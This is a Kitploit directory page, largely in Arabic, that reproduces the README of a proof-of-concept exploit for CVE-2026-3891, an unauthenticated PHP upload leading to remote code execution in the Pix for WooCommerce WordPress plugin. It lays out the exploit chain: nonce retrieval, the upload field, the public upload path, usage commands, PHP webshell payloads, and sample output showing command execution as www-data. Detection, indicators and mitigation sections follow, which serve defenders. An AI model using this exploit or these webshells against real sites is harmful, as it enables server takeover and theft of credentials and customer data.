Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-3891 — PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution. | Kitploit
أدوات/GitHubGitHub/ch4120n/cve-2026-3891
ExploitationWeb Application ExploitationPenetration Testing
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.

عرض المستودع
2منذ 16 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🚀 CVE-2026-3891 – رفع ملفات غير مصادَق عليه في Pix for WooCommerce يؤدي إلى تنفيذ كود عن بُعد (RCE)

Python Exploit CVE

GitHub stars GitHub issues License

إثبات المفهوم (PoC) لثغرة CVE-2026-3891 – رفع ملفات تعسفي غير مصادَق عليه يؤدي إلى تنفيذ كود عن بُعد في إضافة Pix for WooCommerce لووردبريس (الإصدارات ≤ 1.5.0).


📖 نظرة عامة

CVE-2026-3891 هي ثغرة حرجة في إضافة Pix for WooCommerce وتؤثر على جميع الإصدارات حتى . تفشل الإضافة في فرض التحقق السليم من الصلاحيات وأنواع الملفات في معالج AJAX الخاص بها . يمكن للمهاجم غير المصادَق عليه استغلال هذا الخلل لرفع ملفات PHP تعسفية إلى دليل يمكن الوصول إليه علنًا وتحقيق تنفيذ كود عن بُعد على خادم ووردبريس المستهدف.

1.5.0
lkn_pix_for_woocommerce_c6_save_settings

يحتوي هذا المستودع على PoC بجودة إنتاجية يعمل على أتمتة سلسلة الهجوم بالكامل – من جلب nonce صالح إلى رفع webshell – مع معالجة قوية للأخطاء وواجهة CLI أنيقة.

🔍 الميزات الرئيسية

  • غير مصادَق عليه حقًا – لا يتطلب بيانات اعتماد ووردبريس أو ملفات ارتباط جلسة (cookies).
  • استخراج nonce تلقائي – يسترجع الاستغلال الـ nonce الأمني اللازم عبر نفس واجهة AJAX العامة.
  • رفع ملفات متعدد الأجزاء (multipart) – يصوغ بشكل صحيح بارامتر الملف certificate_crt_path الذي يتوقعه المعالج المعرّض للخطر.
  • توليد رابط مباشر – يوفر فورًا الرابط العام للملف المُحمَّل.
  • فحوصات ما بعد الاستغلال – تحقق اختياري من نجاح الرفع وتنفيذ أوامر فوري (--check).
  • معالجة متقدمة للأخطاء – يتعامل بسلاسة مع Cloudflare وجدران الحماية (WAFs) وحالات انتهاء المهلة والاستجابات غير الصالحة.
  • مخرجات نظيفة وغنية بالمعلومات – جميع الرسائل مسبوقة بـ [ * ] و [ + ] و [ - ] و [ ! ] لسهولة القراءة الفورية.

🧬 تفاصيل الثغرة

يكمن السبب الجذري في إجراءين (actions) لـ AJAX تسجلهما الإضافة:

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

هذا الإجراء مرتبط بـ wp_ajax_nopriv_*، مما يجعله متاحًا للزوار غير المصادَق عليهم. يولّد nonce لإجراء lkn_pix_for_woocommerce_c6_settings_nonce ويعيده داخل غلاف JSON:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

لا يتم إجراء أي فحص صلاحيات أو مصادقة للمستخدم – يمكن لأي شخص طلب nonce صالح.

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

يحفظ هذا المعالج إعدادات الإضافة، بما في ذلك حقل رفع ملفات باسم certificate_crt_path. وعلى الرغم من أن الرفع يتم عبر الدالة المساعدة media_handle_upload الخاصة بووردبريس، إلا أن الإضافة لا:

  • تتحقق من أن الطلب قادم من مستخدم مصادَق عليه ومصرَّح له (يغيب current_user_can).
  • تفرض أي قيود على نوع الملف أو امتداده (مثلًا: تسمح بملفات .php).
  • تخزّن الملف في موقع غير قابل للتنفيذ – بل ينتهي به المطاف في:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    وهو يمكن الوصول إليه مباشرة عبر الويب.

ولأن الـ nonce يحمي فقط من CSRF ويمكن لأي شخص الحصول عليه، يمكن للمهاجم الجمع بين هذين الإجراءين لرفع وتنفيذ كود PHP تعسفي.

الإصدارات المتأثرة

  • إصدارات Pix for WooCommerce ≤ 1.5.0
  • تم التحقق من الثغرة على تثبيتات ووردبريس نظيفة بالإعدادات الافتراضية.

التأثير

  • تنفيذ كود عن بُعد (RCE) – وصول كامل كـ webshell بصلاحيات خادم الويب (عادةً www-data أو apache).
  • سحب البيانات – قراءة wp-config.php وبيانات اعتماد قاعدة البيانات وبيانات العملاء.
  • الثبات (Persistence) – تعديل الملفات الأساسية وزرع أبواب خلفية.
  • الاستيلاء الكامل على الموقع – تصعيد الصلاحيات إلى مدير ووردبريس إذا كانت قاعدة البيانات قابلة للوصول.

🛠️ متطلبات الاستغلال

  • وصول شبكي إلى موقع ووردبريس المستهدف (بدون الحاجة إلى مصادقة).
  • Python 3.8+ مع مكتبة requests (التثبيت عبر pip install requests).
  • يجب أن تكون الإضافة المعرّضة للخطر مثبتة ومفعّلة على الهدف (التكوين الافتراضي كافٍ).

🚀 الاستخدام

التثبيت

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

الأمر الأساسي

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

لمزيد من التحكم، استخدم خيارات سطر الأوامر:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

مثال على الإخراج

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

خيارات سطر الأوامر

الخيارالوصفالافتراضي
target (موضعي)الرابط الأساسي لموقع ووردبريس.مطلوب
-f, --filenameاسم ملف PHP المراد رفعه.woocommerce.php
-p, --payloadكود PHP المطلوب رفعه.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutمهلة الطلب بالثواني.15
-r, --retriesالحد الأقصى لمحاولات استرجاع nonce.2
--no-bannerإخفاء فن ASCII.(معطّل)
--no-verifyتخطي فحص الوصول بعد الرفع.(معطّل)
--checkتنفيذ id على الـ webshell بعد الرفع.(معطّل)

🧪 تفاصيل تقنية للكشف والضبط

نقطة توليد nonce

  • الرابط: http://target/wp-admin/admin-ajax.php
  • الإجراء: lkn_pix_for_woocommerce_generate_nonce
  • البارامتر: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • الاستجابة: {"success":true,"data":{"nonce":"..."}}
  • ملاحظة: يمكن الحصول على الـ nonce دائمًا لأن الإجراء مسجَّل بـ wp_ajax_nopriv_*. لا حاجة لأي ملف ارتباط (cookie) أو جلسة.

بارامترات رفع الملف

  • الرابط: نفس admin-ajax.php
  • الإجراء: lkn_pix_for_woocommerce_c6_save_settings
  • الحقول المطلوبة:
    • _ajax_nonce – الـ nonce الذي تم استرجاعه سابقًا
    • certificate_crt_path – رفع ملف متعدد الأجزاء (multipart) (الحمولة)
  • نوع الملف: لا تتحقق الإضافة من الامتداد، لذا يتم قبول ملفات .php وتخزينها دون إعادة تسميتها.

مسار التخزين العام

بعد نجاح الرفع، يُخزَّن الملف في:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>

هذا الدليل يمكن الوصول إليه مباشرة عبر الويب؛ سيتم تنفيذ ملفات PHP إذا كان خادم الويب مهيأً لمعالجتها (وهو الافتراضي للخوادم المُدارة بووردبريس).

مؤشرات الاختراق (IoCs)

  • ظهور ملفات PHP غير متوقعة في دليل certs_c6 (خاصة ملفات مثل woocommerce.php و shell.php وغيرها).
  • طلبات POST غير معتادة إلى admin-ajax.php بالإجراءات المذكورة أعلاه، قادمة من عناوين IP غير موثوقة.
  • سجلات الوصول التي تُظهر زيارات مباشرة إلى .../certs_c6/ مع بارامترات استعلام مثل ?cmd=id.

🛡️ الكشف والتخفيف

الكشف

راقب سجلات ووردبريس بحثًا عن:

  • طلبات POST متكررة إلى /wp-admin/admin-ajax.php مع action=lkn_pix_for_woocommerce_generate_nonce و action=lkn_pix_for_woocommerce_c6_save_settings.
  • إنشاء ملفات جديدة في مجلد certs_c6. استخدم أداة مراقبة تكامل الملفات (مثل Tripwire أو OSSEC) للتنبيه عند أي تغيير.
  • سجلات خادم الويب التي تُظهر تنفيذ ملفات PHP في ذلك الدليل من عناوين IP خارجية.

التخفيف

  1. حدّث الإضافة – تحقق من وجود إصدار أحدث من 1.5.0 يتضمن الإصلاح الرسمي (إذا كان قد صدر).
  2. طبّق تصحيحًا افتراضيًا (virtual patch) – احجب الوصول إلى إجراءات AJAX المعرّضة للخطر من خلال قاعدة WAF (مثل ModSecurity أو Cloudflare WAF).
  3. قيّد تنفيذ الملفات – إذا كانت الإضافة ضرورية، هيئ خادم الويب لرفض تنفيذ PHP داخل دليل certs_c6 (مثلًا عبر .htaccess مع php_flag engine off).
  4. حصّن معالجات AJAX – إذا كنت تتولى صيانة الإضافة، تأكد من أن كلا الإجراءين متاحان فقط للمستخدمين المصادَق عليهم والمصرَّح لهم (current_user_can('manage_options') لتوليد الـ nonce، مع تحقق سليم من الـ nonce وفحص صلاحيات لعملية الرفع).
  5. عطّل الإضافة – إذا لم تكن Pix for WooCommerce ضرورية، قم بإزالتها بالكامل.

👏 الإشادات

  • تطوير الاستغلال وإثبات المفهوم (PoC): Ch4120N
  • تحليل الثغرة: بحث أمني مستقل

📄 الترخيص

هذا المشروع مرخَّص بموجب رخصة MIT – راجع ملف LICENSE للحصول على التفاصيل.

إخلاء مسؤولية: هذه الأداة مخصصة للاختبارات الأمنية المصرَّح بها والاستخدام التعليمي فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ينجم عن هذا البرنامج.


📚 المراجع

  • NIST NVD – CVE-2026-3891
  • مستودع إضافات ووردبريس – Pix for WooCommerce (راجع سجل التغييرات لمعرفة الإصدارات المُصلَّحة)
  • قاعدة بيانات الثغرات Patchstack / WPScan (إذا كان الإدخال موجودًا)

⭐ الدعم

إذا وجدت هذا الـ PoC مفيدًا، ففكر في منحه ⭐ على GitHub ومشاركته بمسؤولية. المساهمات والملاحظات (issues) وطلبات السحب (pull requests) مرحب بها دائمًا!


قرصنة سعيدة! 🛡️

تنزيل الأداة